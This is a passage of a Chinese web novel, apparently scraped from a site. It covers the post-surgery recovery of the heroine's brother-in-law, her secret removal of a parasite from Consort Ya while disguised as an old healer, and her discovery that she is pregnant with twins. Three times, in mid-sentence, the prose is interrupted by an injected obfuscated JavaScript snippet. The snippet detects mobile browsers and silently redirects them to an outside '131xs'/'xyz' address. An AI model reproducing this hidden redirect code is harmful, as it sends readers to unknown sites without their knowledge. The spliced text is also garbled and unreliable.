两人离开界阙去安抚等候的家人。门一开,四嫂就冲了上来,脸上写满了焦急和担忧:“九弟妹,我家当家的怎么样了?” 宁芷薇握住她的手,轻声安慰道:“手术很成功,不过还需要观察一会儿。” 四嫂眼中闪过一丝慌乱,声音有些颤抖:“是不是...是不是有什么问题?” “不是的,四嫂。”宁芷薇连忙解释,“我只是想确保他醒来时不会太痛苦。这是常规操作,请放心。” 秦老夫人看出宁芷薇的疲惫,挥手让其他人散去:“都回去吧,相信九儿媳的医术。”她转向宁芷薇,语气温和却不容置疑,“你也去休息吧,孩子。你已经做得很好了。” 几位嫂嫂留下晚饭才离开。宁芷薇勉强吃了几口,就急着回到界阙继续照看四哥。 回到界阙,宁芷薇终于支撑不住,靠在床上休息。她的眼皮沉重得像是灌了铅,但心里还惦记着四哥的情况。 秦远霄一边照看四哥,一边为她准备了简单的饭菜。他轻轻摇醒宁芷薇,柔声说道:“吃点东西吧,你需要补充体力。” 第一百七十四章 宁芷薇勉强睁开眼睛,接过秦远霄递来的碗。她机械地吃着,眼睛却时不时瞟向四哥的方向。 秦远霄看出她的心思,安慰道:“别担心,我会一直盯着的。你先休息一会儿。” 宁芷薇点点头,靠在秦远霄肩上闭上了眼睛。她本想只休息一会儿,却不知不觉睡了过去。 秦远霄轻轻将她放平,为她盖上毯子。他看着宁芷薇疲惫的脸庞,心中涌起一阵心疼。他轻轻吻了吻她的额头,然后转身继续照看四哥。 天快亮时,四哥的状态趋于稳定,即将苏醒。秦远霄轻轻唤醒宁芷薇,两人带着四哥离开界阙,改用高级药物继续治疗。 四哥醒来时,发现自己在一个陌生的房间。他试图动弹,却感到全身传来剧烈的疼痛。 “四哥,别动!”秦远霄连忙制止他,“手术很成功,但伤口还没愈合,不能乱动。” 四哥皱着眉头,声音有些沙哑:“我...我这是在哪?” 宁芷薇走上前,轻声解释道:“四哥,你现在在我们的秘密治疗室。手术很成功,半年后你就能重新走路了。” 四哥的眼中闪过一丝惊讶和感激,但很快又被痛苦取代。他咬着牙,努力控制着自己的表情。 宁芷薇看了看天色,知道四嫂一定担心得睡不着。她起身道:“我去叫四嫂过来。” 果然,四嫂正在房间里来回踱步,眼睛红肿得厉害。看到宁芷薇,她一把抓住她的手,声音带着哭腔:“九弟妹!我可以见他了吗?” 宁芷薇拉着她往外走:“他已经醒了,我们这就去看他。” 四嫂几乎是跑着进了房间。看到躺在床上的丈夫,她的眼泪瞬间夺眶而出。“当家的......”她轻轻呼唤,声音里满是心疼和担忧。 四哥勉强挤出一个笑容:“别哭,我没事。” 四嫂小心翼翼地握住丈夫的手,生怕弄疼了他。她转向宁芷薇和秦远霄,眼中满是感激:“九弟,九弟妹,真的太谢谢你们了。” 四嫂紧紧握住宁芷薇的手,眼眶泛红,声音哽咽:“九弟妹,这次真是多亏了你们。”她的手微微颤抖,显然还未从方才的惊险中平复下来。 宁芷薇看着四嫂憔悴的面容,心中一阵酸楚。这些日子,四嫂为了照顾重伤的四哥,几乎寝食难安。她轻轻拍了拍四嫂的手背,柔声道:“四嫂别担心,四哥的伤势已经稳定下来了。” 四嫂擦了擦眼角的泪水,深吸一口气,转身走向躺在床榻上的秦修远。她动作轻柔地为他掖了掖被角,目光中满是心疼。 宁芷薇从储物界阙取出几包药粉,递给四嫂:“这是我特意配的药,每日三次,一次一包,用温水送服。记得要准时,千万别耽误了。” 四嫂小心翼翼地接过药包,仔细端详着:“这药...可有什么需要注意的地方?” “服药期间要忌口,不能吃太过油腻的食物。”宁芷薇详细叮嘱着,“若是伤口有异常,一定要及时告诉我。” 秦远霄这时叫来几个身强力壮的兄弟,他们动作轻缓地将四哥抬回房间。看着他们远去的背影,宁芷薇不由得揉了揉太阳穴,这些日子的紧张让她也有些疲惫。 四哥的伤势虽然棘手,但只要按时服药,慢慢调养,终究会好起来。相比之下,七哥的情况倒是好得多。虽然被囚禁多年,身体虚弱,但终究只是皮外伤,调养一段时间就能恢复。 秦远霄补充道:“四哥现在需要静养,我们先出去吧,让他好好休息。” 四嫂依依不舍地看了丈夫一眼,然后跟着他们走出了房间。 接下来的日子里,宁芷薇和秦远霄轮流照看四哥,为他换药、按摩、做复健。四嫂也一直守在丈夫身边,细心照料。 渐渐地,四哥的伤势开始好转。他能坐起来了,甚至可以在别人的搀扶下短暂地站立。每一次进步,都让全家人欣喜若狂。 一天,四哥在秦远霄的搀扶下,艰难地迈出了第一步。虽然只是很小的一步,但对他们来说,意义重大。 四嫂激动得热泪盈眶,宁芷薇也露出了欣慰的笑容。秦远霄拍了拍四哥的肩膀,鼓励道:“四哥,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663476|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做得很好。再坚持一段时间,你一定能完全康复的。” 四哥点点头,眼中闪烁着坚定的光芒:“我一定会好起来的。谢谢你们,九弟,九弟妹。” 宁芷薇笑着说:“四哥不必言谢。看到你康复,就是对我们最好的回报。” 随着时间的推移,四哥的恢复速度越来越快。半年后,他已经能独立行走了,虽然还有些蹒跚,但比起最初的情况,已经是意外之喜。 这天,四哥坚持要自己走到院子里。全家人都紧张地看着他,生怕他摔倒。但四哥一步一步,稳稳地走到了院子中央。 阳光洒在他的脸上,四哥深吸一口气,脸上露出了久违的笑容。“真好,”他轻声说,“能重新感受阳光的温暖。” 四嫂站在一旁,眼中满是欣慰和幸福。宁芷薇和秦远霄相视一笑,他们知道,所有的辛苦都是值得的。 这一刻,院子里充满了欢声笑语。家人们围在四哥身边,分享着这份喜悦。宁芷薇看着这一幕,心中充满了温暖。她知道,这就是她努力的意义所在。 秦远霄握住她的手,轻声说:“辛苦了,芷薇。” 宁芷薇摇摇头,笑道:“不辛苦。能帮助家人,我很开心。” 两人相视一笑,眼中满是对未来的期待。他们知道,只要携手并进,就没有什么困难是无法克服的。 翌日,秦远霄匆匆回来,眉头微皱:“娘子,三哥召集兄弟们商议去玄陲的事。” 宁芷薇抬头看他,轻声道:“你去吧。”她知道秦家人最牵挂的就是失踪的父亲和大哥二哥。可惜她现在怀着身孕,不能跟着去。 房中一时安静下来,宁芷薇坐在窗边的软榻上,手指无意识地摩挲着衣角。沧澜先生的手段她再清楚不过,那些诡异的蛊毒连她都要小心应对,若是贸然前去,后果不堪设想。 窗外的风轻轻吹动着纱帘,带来一阵清凉。宁芷薇望着院中摇曳的树影,脑海中不断闪过各种可能遇到的危险。她得想办法帮他们准备些防身的东西,至少要确保他们有自保的能力。 第一百七十五章 一个时辰后,秦远霄终于回来了。他脸上带着几分疲惫:“三哥明早就要动身,带着庞勇他们一起去。” 宁芷薇立刻起身,顾不得腰间传来的酸痛,开始翻找自己的储物界阙。她取出几件黑色的衣物,递给秦远霄:“这些防弹衣给他们带上,虽然笨重了些,但能保命。” “还有这个雄黄粉。”她又拿出一个精致的瓷瓶,“对付蛊虫最有效,让他们随身携带。” “**和袖箭也要带上。”她一件件地取出装备,“以防万一遇到危险,至少能自保。” 秦远霄看着媳妇忙碌的身影,眼中闪过一丝心疼。他知道她最担心的就是沧澜先生的蛊毒,那些年她在沧澜先生手下,没少吃苦头。 “放心吧。”他轻轻揽住她的肩膀,“我会叮嘱三哥他们小心行事。” 宁芷薇靠在他怀里,声音有些发涩:“一定要让他们谨慎,千万不能贸然行动。沧澜先生的手段...”她顿了顿,“太过诡异了。” 秦远霄将这些装备交给三哥时,特意叮嘱了使用方法。三哥虽然没问这些东西的来历,但眼中闪过一丝感激。他知道,这是九弟妹的一片心意。 夜色渐深,院子里依然灯火通明。宁芷薇站在窗边,看着兄弟们忙碌的身影。她的手轻轻抚摸着微微隆起的小腹,心中默默祈祷着三哥他们此行平安。 秦远霄走到她身边,轻声道:“娘子,夜深了,该休息了。” 宁芷薇摇摇头:“我再看看。”她的目光始终没有离开院子,“我总觉得不安心。” “有什么需要补充的,明早再说也不迟。”秦远霄轻轻拉住她的手,“你现在的身子,可经不起熬夜。” 宁芷薇这才回过神来,确实,她现在的状态不适合太过操劳。可是想到沧澜先生那些阴毒的手段,她又忍不住担心。 “远霄。”她突然开口,“你说,他们真的能找到父亲和大哥二哥吗?” 秦远霄沉默片刻:“会的。”他握紧她的手,“一定会的。” 宁芷薇深吸一口气,努力压下心中的不安。她知道,现在最重要的是养好身子,等着他们平安归来。 院子里的灯火渐渐熄灭,只剩下几处还亮着。宁芷薇最后看了一眼院子,才由着秦远霄扶着回到床榻。 躺下后,她却怎么也睡不着。脑海中不断闪过各种可能发生的危险,直到天边泛起鱼肚白,她才迷迷糊糊地睡去。 清晨的阳光洒在秦家门前的青石板上,东睿驾着一辆朴素的马车缓缓驶来。马蹄声踏在石板上,发出清脆的响声,惊起几只歇息在屋檐下的麻雀。 马车外悬挂着一个小巧的笼子,里面栖息着一只雪白的信鸽,这是整个马车最引人注目的地方。信鸽偶尔扑棱几下翅膀,发出轻微的响动,仿佛在诉说着什么不为人知的秘密。 秦远霄正要出门,迎面撞上匆忙跳下马车的东睿。他的衣衫略显凌乱,眼下一片青黑,显然是连夜赶路而来。 “那位高人,你现在能找到吗?”东睿一把抓住秦远霄的手臂,指节因用力而泛白,声音里带着掩饰不住的焦急。 宁芷薇透过窗户,将这一幕尽收眼底。她轻轻抚摸着微微隆起的腹部,眼神闪烁,心中已有计较。窗外的晨风轻轻拂过,带来一丝凉意。 “发生什么事了?”秦远霄蹙眉,注意到东睿脸上的神色不对劲。 东睿咬了咬唇,喉结滚动了几下才艰难开口:“我母妃...她快不行了。”他的声音有些哽咽,“若再找不到解蛊之法,恐怕...” 话未说完,眼眶已经泛红。他深吸一口气,努力压抑着情绪。 秦远霄快步走到马车前,掀开车帘。映入眼帘的景象让他心头一震,不由自主地后退半步。 雅妃娘娘憔悴得不成人形,瘦骨嶙峋的身躯蜷缩在车厢一角。她双目紧闭,面容枯槁如同风中残烛,原本光滑细腻的皮肤此刻布满了细密的皱纹,就连呼吸都显得异常微弱。 “这...真的是雅妃娘娘?”秦远霄难以置信地低语。 记忆中那位雍容华贵的雅妃,虽不是倾国倾城,却也风韵犹存。举手投足间都带着独特的贵气,如今竟像个年过古稀的老妪,浑身上下散发着一股病态的衰败气息。 东睿痛苦地点头,声音沙哑:“求你帮忙联系那位高人,母妃撑不了多久了。”他的手指无意识地绞着衣角,“这几日她的情况越来越差。” 秦远霄环顾四周,街道上已经有零星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673425|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行人经过。他压低声音说道:“先将雅妃娘娘安置在厢房。” 他小心翼翼地扶着雅妃下车,感受到手臂传来的轻飘飘的重量,心中一阵酸涩。东睿则在一旁紧张地护着,生怕母亲有什么闪失。 将雅妃安顿在厢房的床榻上,秦远霄立即返回自己的房间。 “薇薇,情况不太妙。”他将事情简单说了一遍,眉头紧锁。 宁芷薇放下手中的针线,若有所思:“我方才已看到了。雅妃的情况比想象的还要糟糕,必须尽快出手。”她的手指轻轻敲击着桌面,似乎在思考对策。 “你打算怎么做?”秦远霄走到她身边,轻声问道。 “我在山下守候你的到来,你随后带东睿过来。”宁芷薇说着,已经开始收拾准备。她将几个瓷瓶小心地放入荷包中,动作熟练而利落。 秦远霄点头,转身去找母亲安排照看雅妃的事。走廊上传来几声轻咳,那是雅妃痛苦的呻吟声。 厢房内,东睿正向秦老夫人倾诉着来龙去脉。烛光在他脸上投下摇曳的阴影,更添几分憔悴。 “母妃早就厌倦了宫里的生活,那里就像个**不吐骨头的地方。”东睿苦笑,眼神中带着深深的无奈,“每天都要提防着身边的人,连一口气都不敢喘得太重。我本想趁这次机会,让母妃彻底脱离那个牢笼。” “所以你选择让雅妃娘娘诈死?”秦老夫人惊讶道,手中的帕子不自觉地揉搓着。 东睿点头,声音低沉:“是。我有些私房钱,原本打算带母妃去塞北过平静日子。可没想到...”他握紧拳头,指甲深深陷入掌心,“那个下蛊的人突然催动蛊虫,母妃痛不欲生。” “我们刚出城没多远,母妃就开始发病。她的样子...我从未见过她那么痛苦。”东睿的声音有些发抖,“可母妃宁死也不愿回去。我只能拼命赶路,想找到那位解蛊高人。” 秦远霄听到这里,已经大致明白了事情的来龙去脉。他看着床榻上昏迷的雅妃,想起方才那张憔悴的面容,心中不禁一阵沉重。 雅妃突然剧烈地咳嗽起来,整个人蜷缩成一团。东睿连忙上前轻拍她的背部,眼中满是心疼。秦老夫人赶紧让丫鬟去煎药,屋内一时忙作一团。 第一百七十六章 窗外的阳光渐渐变得明媚,院子里传来仆人们忙碌的声响。秦远霄站在廊下,望着天边飘过的几朵白云,心中思绪万千。 这时,一阵微风吹来,那只雪白的信鸽突然发出一声鸣叫,仿佛在预示着什么。秦远霄转头看向笼中的信鸽,若有所思。 他知道,接下来的事情恐怕不会那么简单。宫里的水太深,每一步都要走得小心翼翼。而那个神秘的下蛊之人,究竟是谁?又为何要对雅妃下此毒手? 一切疑问都需要时间来解答。现在最重要的是救治雅妃,其他的事情只能暂且放在一边。 秦老夫人望着东睿离去的背影,眼底浮现出一丝难以掩饰的担忧。她的手指无意识地摩挲着手中的檀木佛珠,思绪纷乱。 那位所谓的解蛊高人,不是别人,正是自己的九儿媳宁芷薇。这个聪慧的儿媳妇不仅解了家中几个儿子身上的蛊毒,更是用她那独特的医术救治了不少人。只是如今...老夫人轻轻叹了口气,目光落在远处的庭院。宁芷薇已有了身孕,这件事着实让她忧心不已。 “远儿。”秦老夫人轻声唤道,声音里带着几分凝重。 秦远霄立即会意,向母亲微微颔首,眸中闪过一抹坚定:“娘放心,儿子定会照顾好薇儿。” 东睿并未察觉母子二人眼神交流中的深意,他还沉浸在即将找到解救母妃的希望中。想到昏迷不醒的雅妃,他不由得攥紧了拳头,声音微微发颤:“若能救我母妃,纵使付出性命也在所不惜。” “殿下言重了。”秦远霄不动声色地回礼,面色平静,“下官只能尽力而为。” 他刻意压低了语气,不敢说得太满,以免引起怀疑。毕竟这事关系重大,容不得半点闪失。 待送走东睿,秦远霄快步朝山脚行去。初春的山风还带着些许寒意,他裹紧了外衫,脚步却不见丝毫迟疑。 宁芷薇刚从界阙出来,远远就看到丈夫匆匆而来的身影。她下意识地摸了摸微微隆起的小腹,唇角勾起一抹温柔的弧度。 两人再次进入界阙,秦远霄将雅妃的情况仔细说明。听完后,宁芷薇眉头微蹙,指尖轻轻敲击着桌面:“是子蛊侵蚀。” “情况如何?”秦远霄握住妻子有些冰凉的手。 “一旦子蛊向心脏蔓延,人就活不过五天。”宁芷薇停顿片刻,“雅妃已昏迷两日,留给我们的时间不多了。” 看着丈夫紧张的神色,她轻声补充道:“不过三天时间对我来说绰绰有余,你不必太过担心。” 既然不必着急,秦远霄便打算陪妻子在界阙多待一会儿。难得清闲,宁芷薇先是逗弄了一会儿墨圆儿。那只胖乎乎的橘猫懒洋洋地趴在她腿上,发出满足的呼噜声。 “这家伙越发懒散了。”秦远霄无奈地摇头。 宁芷薇笑着挠了挠墨圆儿的下巴:“还不是被你惯的?每次进来都要给它带小鱼干。” 说起鱼,宁芷薇忽然想起什么,拉着丈夫去了仓库。偌大的仓库里堆满了各类作物种子和果树苗,都是准备来年春天种到东麓村的。 走到鱼塘边,宁芷薇看着水面偶尔跃起的鱼儿,若有所思:“这些鱼也该处理了,再养下去怕是要长过头了。” 秦远霄看着妻子认真的模样,心疼不已。有了身孕还想着这些琐事,实在不该。他轻轻将宁芷薇拉到身边:“娘子歇着,为夫给你露一手。” “你?”宁芷薇惊讶地看着丈夫。 秦远霄神秘一笑,将宁芷薇送回房间休息,自己则钻进了厨房。他从怀中掏出一本泛黄的食谱,这是他这些日子偷偷跟着府中大厨学来的。 当宁芷薇从小憩中醒来,就被眼前的景象惊呆了——一桌色香味俱全的菜肴,竟是出自丈夫之手。红烧鲤鱼、清蒸鳜鱼、酸菜鱼...每一道都色泽诱人。 “这...真是你做的?”她难以置信地看着秦远霄。 “自然。”秦远霄得意地展示那本食谱,“为夫可是偷偷学了许久。你现在胃口不好,我想着多学些菜式,好让你开开胃。” 宁芷薇心头一暖,眼眶微红:“夫君...” “别光看着,尝尝。”秦远霄夹了块红烧鱼肉放入她碗中,“这可是我特意挑选的最嫩的部位。” 入口即化的美味让宁芷薇连连点头。她知道,丈夫是为了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673426|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己才学的厨艺,这份心意比美味更加动人。看着妻子吃得开心,秦远霄心中满是欣慰。 用过饭后,两人在界阙里散步。春日的暖阳洒在身上,惬意而温暖。宁芷薇低头看了看自己微微隆起的小腹,这才想起许久没给自己做检查了。 “对了,”她忽然想起什么,“明日去给雅妃治病,我需要准备些药材。” 秦远霄立刻道:“我陪你去药房。” 宁芷薇摇摇头:“你去准备些生姜和艾草,我自己去就好。” 看着妻子坚持的模样,秦远霄只得应下。他知道宁芷薇医术高明,可还是忍不住担心。毕竟她现在身子特殊,若是太过劳累... 两人在界阙里忙碌了一阵,天色渐晚,这才依依不舍地准备离开。临走前,宁芷薇又检查了一遍准备好的药材,确保万无一失。 “夫君,”宁芷薇突然开口,“明日的事...” 秦远霄轻轻将她揽入怀中:“我都明白。你放心,我会安排好一切,不会让人起疑的。” 宁芷薇靠在丈夫怀里,听着他有力的心跳声,心中渐渐安定下来。她知道,有秦远霄在身边,什么都不用怕。 夜色渐深,皎洁的月光洒在庭院里,为这个不平凡的夜晚镀上一层银辉。明日将要面对的挑战,此刻都化作了温柔的期待。 宁芷薇坐在医务室里,手指轻轻搭在自己的脉搏上,窗外的阳光透过薄纱洒落进来,在地面上投下斑驳的光影。 她的眉头微微蹙起,指尖微动,仔细感受着脉象的变化。有什么地方不太对劲,但一时又说不上来。 医务室里安静得能听见针落,秦远霄站在一旁,目光始终没有离开过她。他看着宁芷薇专注的神情,心中不由得升起一丝担忧。 “怎么了?”秦远霄终于忍不住开口。 宁芷薇摇摇头,从界阙里取出一套检查设备。这是她从现代带来的,平时都小心收着,但现在顾不得那么多了。 她仔细检查着各项指标,随着数据的显示,她的表情逐渐凝重。 “双胎......”她喃喃自语,声音轻得几乎听不见。 第一百七十七章 秦远霄见她脸色突变,三步并作两步走到她身边,一把抓住她的手:“薇薇,到底怎么了?孩子是不是有什么问题?” 宁芷薇抬头看向他,眼中闪过一丝复杂:“孩子很健康,只是......” “只是什么?”秦远霄的声音里带着一丝焦躁,“你别吓我。” “我怀了两个。”宁芷薇深吸一口气,“是双胎。” 秦远霄的表情瞬间凝固,仿佛被人施了定身术一般。他张了张嘴,却发不出声音。过了好一会儿,才艰难地问道:“你说什么?” “两个孩子,是双胎。”宁芷薇将手中的检查报告递给他,“你自己看。” 秦远霄接过报告,手指微微颤抖。他的脸色以肉眼可见的速度变得苍白,额头上渗出细密的汗珠。 宁芷薇看着他紧皱的眉头,心中了然。在这个医疗条件落后的年代,生产本就是一件凶险的事。单胎尚且如此,更何况是双胎。 “薇薇......”秦远霄的声音有些沙哑,“这孩子,要不我们......” “你想说什么?”宁芷薇打断他的话,眼中闪过一丝锐利。 “我不能让你冒险。”秦远霄一把将她搂入怀中,声音里带着几分哽咽,“我宁可不要孩子,也不能让你出事。” 宁芷薇靠在他怀里,听着他急促的心跳声。她能感受到他的担忧和恐惧,但她更清楚,这两个孩子对他们来说意味着什么。 “傻瓜。”她轻轻推开他,露出一个安抚的笑容,“你忘了我是军医了?” 不等秦远霄回答,她已经走到书架前,从中取出一本厚重的医书。 “看,这是剖腹产手术。”她翻开书页,指着上面的图解,“我可以教你。” 秦远霄凑近看去,只见书页上详细记载着手术的每一个步骤。他的手指轻轻抚过那些图解,眉头却皱得更紧了。 “可是......”他欲言又止。 “相信我。”宁芷薇握住他的手,直视着他的眼睛,“咱家宝宝必定顺利出生。” 秦远霄看着她坚定的眼神,心中的不安稍稍平复。他深吸一口气,缓缓点头:“好,我信你。” 接下来的时间里,两人专注于研究手术步骤。秦远霄认真记下每一个细节,不时向宁芷薇请教。从最基础的消毒方法,到具体的手术流程,他都仔细记在心里。 夜色渐深,医务室里的烛光依旧明亮。宁芷薇看着认真学习的秦远霄,心中涌起一阵暖意。她知道,这个男人会为了她,付出了一切。 第二天一早,宁芷薇已经化作一个白发苍苍的老妪,站在山脚下的鬼屋里。屋内阴暗潮湿,墙角堆满了各种奇怪的药材和器具,散发着浓郁的药味。 她特意布置了这样的环境,就是为了让人相信这里真的住着一位神通广大的大师。 不多时,秦远霄带着东睿和雅妃来到。东睿一进门就跪了下来,额头紧贴地面:“大师,求您救救我母妃。” 宁芷薇看着他恭敬的模样,心中暗笑。这位平日里高高在上的皇子,此刻却如此卑微。 “我可以救她。”她故意压低声音,让声音显得沙哑苍老,“但你要发誓,此生不得做对秦家不利之事。” 东睿毫不犹豫地举手发誓:“我东睿在此发誓,若有违背,天打雷劈,不得好死!” 随后,他又掏出一叠银票递上。宁芷薇接过银票,大约有十万两。这笔钱对东睿来说或许不算什么,但对普通百姓来说,却是一笔巨款。 “行,这笔钱归我了。”她环视四周,目光在每个人脸上扫过,“现在,除了秦远霄,其他人都出去。” 宁芷薇望着东睿离开的背影,轻声叮嘱:“记住,没有我的召唤,不要进来打扰。” 东睿虽然担心,但还是恭敬地退了出去。临走前,他深深看了秦远霄一眼,眼中带着几分警告道:“好”。 随即轻轻带上房门。那一瞬,他的手在门把上微微停顿,眼底闪过一丝难以察觉的复杂神色。 秦远霄上前,仔细检查 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屋外,东睿焦急地来回踱步。**那位大师究竟能不能救他母妃,但这是他最后的希望了。 宁芷薇伸手为雅妃把脉,眉头渐渐拧起。蛊虫已经侵入内脏,距离心脏不过一寸之遥。若再拖延三日,怕是神仙难救。她的手指微微颤抖,这种情况下手术风险极大。 “情况如何?”秦远霄低声问道,眼中闪过一丝担忧。 宁芷薇摇摇头:“比想象中要糟。蛊虫已经深入脏腑,稍有不慎就会危及心脉。”她停顿片刻,“必须立刻手术。” 秦远霄眸色一沉:“需要我做什么?” “准备手术器械,还有...”宁芷薇咬了咬唇,“如果出现意外,立刻带我离开。” “不会的。”秦远霄握住她的手,温暖的体温传递过来,“我相信你。” 宁芷薇深吸一口气,换上手术服。仪器上显示着蛊虫的准确位置,那个小小的黑点正在缓慢移动,每一次跳动都像是死神的脚步声。 第一百七十八章 手术刀落下的瞬间,宁芷薇能感受到刀尖传来的细微阻力。她屏住呼吸,一点点加深切口。血珠渗出,在白皙的皮肤上绽开艳丽的红色。 “小心。”秦远霄站在一旁,手中玻璃瓶已经准备就绪。他的目光始终没有离开宁芷薇的手,随时准备应对突发情况。 宁芷薇轻轻分开组织,汗水顺着额角滑落。终于,在层层血肉之下,她看到了那只蛊虫。它通体漆黑,在雅妃体内蠕动着,散发着令人作呕的腥气。 “就是现在!”宁芷薇低喝一声。 秦远霄动作迅速,镊子精准地夹住蛊虫,一气呵成地将其转移到玻璃瓶中。蛊虫失去寄主,在瓶中疯狂扭动,发出细微的“嘶嘶”声。 宁芷薇立刻取了些雅妃的血液注入瓶中,这才让蛊虫安静下来。她松了口气,开始处理伤口。 “缝合吧。”宁芷薇额头已布满汗珠,手却依然稳定。 秦远霄心疼地看着她:“让我来。” 宁芷薇摇头:“还是我来。每一针都要注入灵力,才能加快愈合。” 缝合完毕,宁芷薇又给雅妃挂上营养液和血浆。做完这一切,她才长出一口气,整个人瘫软在椅子上。疲惫如潮水般涌来,几乎要将她淹没。 “累了吧?”秦远霄递上温热的茶水,眼中满是心疼。 宁芷薇接过,轻轻抿了一口:“还好,就是有些担心。”茶水的温度正好,带着一丝清甜。 “担心什么?”秦远霄在她身边坐下,轻轻揉捏她的肩膀。 “东睿。”宁芷薇放下茶杯,眉头微蹙,“他说要带雅妃隐居,真的只是为了母亲吗?” 秦远霄的手顿了顿:“你觉得他另有所图?” “直觉吧。”宁芷薇靠在椅背上,“一个皇子,从小锦衣玉食,突然说要放弃一切...总觉得不太寻常。” 秦远霄若有所思:“确实令人生疑。不过,只要他不危害秦家,我们也不必太过在意。” 宁芷薇点点头,却仍觉心中不安。她起身查看雅妃的情况,发现体温已经开始回升,脸色也比之前好了些。 十个时辰后,雅妃终于有了转醒的迹象。她的眼皮轻轻颤动,似乎在努力睁开眼睛。 “娘娘?”宁芷薇轻声唤道。 雅妃缓缓睁开眼,目光有些茫然:“这是...哪里?” “娘娘放心,蛊虫已经取出,您很快就能康复。”宁芷薇安抚道。 雅妃微微点头,又陷入沉睡。这次的睡的显然更加安稳,呼吸也渐渐平稳下来。 回到房间时,夜色已深。月光透过窗棂洒落进来,在地上映出斑驳的影子。东睿守在门外,看到他们出来,立刻上前:“母妃她...” “放心,蛊虫已除。”秦远霄安抚道,“休养些时日就能痊愈。” 东睿冲进房内,跪在床前失声痛哭:“母妃,儿子这就带您离开,从此不问世事。”他的声音哽咽,却透着一丝难以察觉的决绝。 宁芷薇听着这话,心中疑虑更深。一个皇子,真能甘心做个普通人吗?她看向东睿的背影,总觉得其中另有隐情。 月光下,东睿的身影显得格外孤寂。他站在窗前,望着远处的皇宫,眼中闪过一抹晦暗不明的神色。 俗话说由俭入奢易,由奢入俭难,这话用在东睿身上再合适不过。从高高在上的王爷到塞北一介布衣,这种身份的转变足以让任何人崩溃。 宁芷薇站在窗前,看着眼前这个温文尔雅的男子。他的眉宇间依旧带着几分贵气,但举手投足间已经褪去了往日的锋芒。她不禁想起第一次见到东睿时的情景,那时的他意气风发,眼中满是骄傲。而如今,岁月和变故似乎已经将他打磨得圆润了许多。 她装作老妪模样,拱手道:“既然雅妃无恙,老身也该告辞了。” 东睿这才想起道谢,连忙起身行礼:“多谢高人救命之恩,日后但有所需,在下必当...” “不必多礼。”宁芷薇打断他的话,目光深邃,“若有事我自会让秦九公子代为传话。老身只盼睿王殿下,能记住今日之言。”她淡淡开口,目光落在雅妃苍白的面容上。 雅妃躺在床上,呼吸微弱却平稳。屋内檀香缭绕,窗外的阳光透过纱帘洒在她的脸上,为她添了几分暖意。宁芷薇转身欲走,裙摆轻轻擦过地面,发出细微的沙沙声。 秦远霄紧随其后,“我送送大师。”他的声音温和,却带着不容置疑的坚定。 东睿站在原地,目光在床上昏睡的雅妃 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秦老夫人摆摆手,眉头紧锁,“这孩子,怀着身子还在外面跑,也不知道心疼自己。”她叹了口气,“远霄这孩子也是,也不知道拦着点。” 正说着,院门外传来脚步声。秦老夫人立刻站起身,就见宁芷薇和秦远霄携手而来。 “回来了?”秦老夫人瞪了秦远霄一眼,转而温柔地打量着宁芷薇。她快步上前,仔细查看儿媳的脸色,“可累着了?” “远霄,赶紧带夫人去歇着。”她责备地看了儿子一眼。 宁芷薇连忙解释:“娘,我没事的,夫君一路都照顾得很好。”她拉着秦老夫人的手,示意自己真的没事。 秦老夫人却不依不饶,“你自从进门就没消停过,如今好不容易安定下来,又怀了身孕,这小子还带你在外过夜。”她说着说着,眼圈都红了。 宁芷薇见状,抿嘴一笑,“娘,给您爆个料,这次是双胎呢。” “什么?”秦老夫人脸色骤变,手不自觉地抓紧了宁芷薇的胳膊。 “娘,确实是双胎,找大夫把过脉了。”秦远霄在一旁补充,语气中带着几分自豪。 第一百七十九章 秦老夫人却没有想象中的喜悦,反而面露忧色,“这孩子...”她欲言又止,眼中满是担忧。 “娘,我自己就是医者,一定能平安生下他们。”宁芷薇赶紧打断她的话,声音坚定。 “薇薇说有办法,我们要相信她。”秦远霄也帮腔道,他握住宁芷薇的手,给她无声的支持。 秦老夫人看着两人亲密的模样,终于叹了口气,“你可得确保万无一失?” “我保证,必须先照顾好自己,还要让您抱上两个白白胖胖的孙儿。”宁芷薇笑着说,眼角眉梢都带着喜悦。 看着儿媳妇俏皮的模样,秦老夫人的心总算放下些。她拍了拍宁芷薇的手,“快回去休息吧。”又转向秦远霄,“你这个当丈夫的也要多上点心。” 秦远霄如蒙大赦,连忙拉着宁芷薇回房。路上,他小心翼翼地扶着妻子,生怕她被台阶绊倒。 “我又不是瓷娃娃。”宁芷薇无奈地说。 秦远霄却认真道:“现在你肚子里可是有两个小生命。” 回到房中,宁芷薇刚坐下,就见丫鬟端着参汤进来。 “夫人,这是老夫人吩咐熬的。” 宁芷薇接过,香气扑鼻。她刚喝了一口,就听见外面传来脚步声。 